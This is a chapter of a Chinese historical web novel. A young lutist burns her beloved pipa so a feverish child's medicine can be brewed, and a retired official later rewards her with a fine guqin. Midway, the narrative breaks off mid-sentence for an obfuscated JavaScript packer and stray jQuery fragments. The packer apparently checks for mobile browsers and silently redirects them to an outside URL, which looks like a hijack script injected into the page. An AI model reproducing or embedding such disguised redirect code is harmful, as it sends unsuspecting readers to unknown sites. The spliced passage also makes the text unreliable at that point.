14. 前路明

作品:《鲤燕记

    林轼贤,长安人士,已过耳顺之年,入仕至今三十余载,位在枢机,心忧天下,曾常以“致君尧舜上”为念,每每上言劝诫,然圣上沉迷长生之术,朝臣各立门户,又有阉党攻奸不止。


    及至两年前朝中孙元老“死谏长门”之后,他才倍感无力。


    后来太子也被卷入这场风波,圣上下令软禁其于太极宫,而他这个太子太师也因教导无方而被罢免,干脆在那时上书乞骸骨,告老还乡……


    殿下还是太过仁慈,顾念手足之情或许是好,但若为一国之君……如今朝中苦苦为太子挣扎的只有挚友张太师了……


    说回此时西进祁山访友之事,竟也如此不顺。


    孩子依旧高烧不止,本是幸运地有了草药,但竟然苦于无火煎药!实在令人痛惜……


    正当他扼腕叹息之时,却听到一阵阵急促的琵琶音从身后传来,却是方才的小娘子所为,那小娘子见此妇人之难恐怕也是无济于事,只得像方才一般弹琴奏曲以聊表安慰。


    但过了一刻钟,琴声仍旧不绝于耳,半刻钟后也是如此,此时周遭众人也纷纷躁动,又看一旁夫妇痛哭孩儿,预备上前阻止,但见一旁身形勇猛的镖师银刃微微出鞘,这才按捺住。


    他也起身,想要问那小娘子个究竟,却见她起身掷琴于地,琵琶也应声而碎……


    棠鲤麻木地僵着手指拾起地上碎裂的琵琶,将残骸放进燃烬的余灰之中。


    “棠鲤,小心些手,我来。”岑燕之蹲在棠鲤身边,小心地将碎了的琵琶从她手上拿下来,指尖不经意相碰,她也没有知觉。


    岑燕之看着她的样子,心里也不好受,这琵琶每次拿出来时都依旧如新,一看便知主人定是极为爱惜。


    “岑燕之,你的火折子还能用吗?”棠鲤淡淡开口,盯着余烬目不转睛。


    岑燕之听闻从腰间荷包中取出火折子,伸手点过去前顿了顿,最后还是将火堆再次引燃……


    药煎好了,妇人小心翼翼地吹吹,一口一口地喂给怀中的孩子。


    林轼贤看着眼前一幕,心中感慨万千。


    那丈夫看着孩子被妇人哄着终于安稳睡去后,走到林轼贤和那采药人面前,扑通一声跪下了,“感谢恩人救命之恩!”


    说罢便以头伏地,行此大礼。林立在林轼贤的示意下赶忙将人扶起,那采药人见状也有些不知所措,并其他人一样呆呆地看着……


    林轼贤拄着拐杖,慢慢走到那丈夫面前,沉声道:“郎君要谢,更应该谢那位小娘子。若非她大义焚琴……此时哪有火来煎药,又如何喂得了孩儿?”


    听闻林轼贤之言,那妇人也反应过来,暂且将孩子放在包袱边,也走到丈夫面前,两人又看向棠鲤那边——


    此时棠鲤心中两种情绪交织翻涌,到最后又被深深的后悔所淹没,眼泪止不住地往外掉。


    失了琵琶该怎么办?若是到了大城可不可以去再买一把?买一把多少钱?还要去长安,路途遥远花费也不少……再说了,买一把也不是原来的呀。


    她走到角落的马儿旁,抱膝坐下,岑燕之默默不语也跟着她走过去,陪在一旁。


    几人靠近的脚步声传来,棠鲤也没有抬头,岑燕之倒是扶着佩刀,站起身,向前迈了两步,身子微微挡住棠鲤。


    夫妻俩看着岑燕之面无表情地护在棠鲤前面,有些不知所措,下意识看向跟在后面的林轼贤。


    林轼贤见状,赶忙上前道:“侠士莫慌,二位夫妻是为感谢小娘子大义凛然,并无他意……”


    岑燕之留下一句稍等片刻,才转过身走到棠鲤面前,慢慢蹲下,用着温柔的语气询问她:“可想跟他们说说话?”


    棠鲤闻言抹了把脸上的眼泪,眼角红红的,浓密的睫毛还带着湿润的水汽,岑燕之离得近,看得清清楚楚。


    “唔……好……”


    她起身拍了拍身上的灰尘,岑燕之走在她前面,率先站到那几人面前,棠鲤也一并向前挪动几步,但半个身子隐在他身后,不太想说话的样子。


    那夫妻见状还是双双跪下。


    外面依旧暴雨如注,棠鲤呆呆地看着他们的嘴唇一张一合、看着他们面上感激涕零的模样,勉强地撑起一丝微笑,客气地回绝了他们的好意,但夫妻俩还是将所剩不多的银钱硬塞在她手中。


    棠鲤感受着依旧温热地钱币,再次低低哭了起来……


    众人见状,内心也不甚好受,纷纷出言安慰。


    棠鲤依旧昏昏沉沉地,心神皆不在此,岑燕之让她坐下歇息,替他们谢过好意后,转头就见自己的马儿卧了下来,棠鲤则蜷缩着靠坐在马儿旁已经沉沉睡去……


    岑燕之将剩下的炭火向她身边挪动一点,起身前有看到不远处似乎闪着光点,走近去才发现是琵琶上原本镶嵌的螺钿。


    他拾起来,放在手心,注视良久,将其放入了荷包中……


    第二日清晨,雨停了。


    破庙中被困了许久的旅人们终于又能再次出发,纷纷收拾行囊相互道谢,令棠鲤没想到的是,除了那对夫妇郑重地与她道别以外,其他人也来纷纷行礼告辞,棠鲤对此有些受宠若惊,岑燕之则带着她一一还礼。


    破庙外,棠鲤站在破旧的屋檐下盯着顶上滴下来的雨水微微出神,就听身后传来岑燕之的声音。


    “走吧,不是还要想吃些甜食的吗?”收拾好行囊,岑燕之牵着马儿走到她身边,闻声提醒。


    “是我请你吧?”棠鲤回过神来,淡笑着纠正他的话。


    “无妨,待到了长安,我想吃顿油泼面!”岑燕之将棠鲤肩上的行囊接过,笑着对她说。


    几句话下来,棠鲤感觉身上轻松多了,心情稍微好了一些。


    两人出了破庙,返回到官道上,路上泥泞不堪,岑燕之便拉住马儿,让棠鲤上马坐一段。


    棠鲤看着马儿的高度,有些害怕,转头救助岑燕之:“我上不去……”


    正当岑燕之思索是否托她上去之时,车轮转动的声音从身后不远处传来。


    走到两人身旁时,阿平拉住缰绳,稳住了马儿,林立也放下马凳,打起车帘扶着林轼贤下马车。


    “小娘子走得太急,老夫还未与你好好道别!”


    “您客气了,只是赶路要紧……”棠鲤有些不好意思,说罢赶忙行了一礼。


    林轼贤见状笑着捋了捋胡须,拄着拐一步一步走到他们跟前,“前面二里地不远处有个风雨亭,那里有个茶摊,若是摊主还在出摊的话,小娘子和这位侠士不若给老夫赏个脸?一起喝杯茶再走吧?”


    棠鲤听闻扭头看了看岑燕之,他没有异议,棠鲤便答应了,正巧又借了他们马车的马凳,棠鲤扶着岑燕之的肩膀上了马。


    感受着手掌下传来的温热,棠鲤又攥紧了缰绳,习武的镖师都如他一般身强体壮吗……偷偷观察着默默拉着马儿有在一旁的岑燕之,像他们这样走南闯北之人,若是遇到了特别的事情,大概不会像她今日这般如此手足无措吧?


    风雨亭旁守着茶摊的摊主今日不太忙碌,前几日接连大雨,今日一早才将将出摊,没想到刚收拾出桌椅,就迎来了旅者。


    林轼贤邀请棠鲤与岑燕之进入风雨亭,林立与阿平将石桌石凳擦干净后便退出亭子到了茶摊上歇息。


    “这里的摊主很会泡茶,小娘子尝尝看!老夫请你的。”摊主送上茶水后,林


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224394|197558||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    轼贤亲手给两人将茶盏推到面前,又让林立从自家马车中端出来了一盘糕点。


    棠鲤本身对茶没什么兴趣,但看到糕点时眼睛瞬间亮了,道过谢后便迫不及待地拈起一枚送入口中,林轼贤笑着喝着茶水看着她,岑燕之也默默地撇了一眼。


    “小娘子看起来与我孙女同岁,老夫也不托大,老夫姓林,名轼贤,曾经做过‘教书先生’,小娘子可称老夫一声先生。不知小娘子与这位侠士如何称呼?”


    “我姓棠,单名鲤,海棠的棠,鲤鱼的鲤。棠鲤见过林先生了。”介绍完自己后,棠鲤又连忙行了一礼。


    岑燕之随即也介绍自己,原来“棠鲤”是这两个字……说起来,这位老先生的名号,他好似在哪里听过?但想不起来了……


    “棠小娘子的名字起得好啊!况且一手琵琶技艺出神入化,老夫可是很多年没听过如此悦耳的音色了!”


    “承蒙林先生厚爱!只是……如今往后可能有段时间无法弹了……”棠鲤苦笑着,手指摩挲着茶盏,有些许失落,岑燕之全都看在眼里。


    “嗯……确实可惜……”林轼贤抚掌叹息后又缓缓开口:“世人皆以丝竹为雅,今棠小娘子碎琴而续儿命,此一焚竟胜却人间无数清音!这般取舍,便是古之贤者,亦当颔首……”


    棠鲤大概听懂了林轼贤话中之意,但她并不觉得自己做的事情有多了不起,“换做其他人,也会这么做的……只是很对不起外祖留给我的琵琶了……”


    “一炉烟火,两重生机——既暖了汤药,亦暖了老夫这双浊眼啊……”


    说罢,唤了林立到身前,耳语几句,却见他面露震惊,有些迟疑:“大人!那可是九公子所赠……”


    林轼贤打断他的话,只摆摆手。


    棠鲤不知道他们说了什么,就看见林先生的家仆出了亭子向马车那边走去。


    “棠小娘子,容请老夫多嘴一问:学了多久的琴了?”


    棠鲤听闻他的问话,数着手指思索片刻,答道:“从我七岁开始,先学古琴,又学琵琶,至今已有十六年了……”


    岑燕之喝茶的动作顿住了,不禁转头看向棠鲤的面孔,七岁?十六年?


    林轼贤也微怔,“老夫还真是未看出来。”不过本朝男女大多婚配较晚,思来想去也实属正常。


    这时林立抱着一个长行的物件走了进来,将其放在桌上。


    “正好,棠小娘子可否答应老夫一个请求?”


    “您请说。”


    林轼贤抬手将锦布包裹慢慢拆开,露出一个镶金漆纹的长桃木盒,缓缓打开后,一张栗壳色间朱红漆灵机琴赫然出现在眼前!


    棠鲤看着这张琴,微微激动的心慢慢冷静下来,等待着林轼贤的话。


    她的反应似乎正和林轼贤的意,他将这把琴取出小心翼翼地放在棠鲤面前,“棠小娘子若能用此琴弹奏一曲,老夫便将此琴赠与你!”


    “这……”棠鲤有些惊讶,但更多的是疑惑和不解,岑燕之虽为武将不太懂琴瑟之事,但他也能看出这把琴价值不菲。


    “林先生,这琴过于贵重……”


    “这琴本是我一个徒弟辞别时送的,虽贵重,但老夫不善琴瑟,‘明珠蒙尘’可不好,棠小娘子意下如何?”


    棠鲤点头答应。


    拨弦试音后微微调弦,有许久没用过古琴了,棠鲤技法有些生疏,略微思索后,弹奏起来。


    曲毕,林轼贤大喜抚掌,岑燕之也微微松了口气,看着棠鲤满面的欣喜,不由得嘴角微微扬起……


    临别之际,棠鲤感激万分,虽失了琵琶,但有先生赠琴,她终于又能重新拾起信心再次踏上去往长安的路了。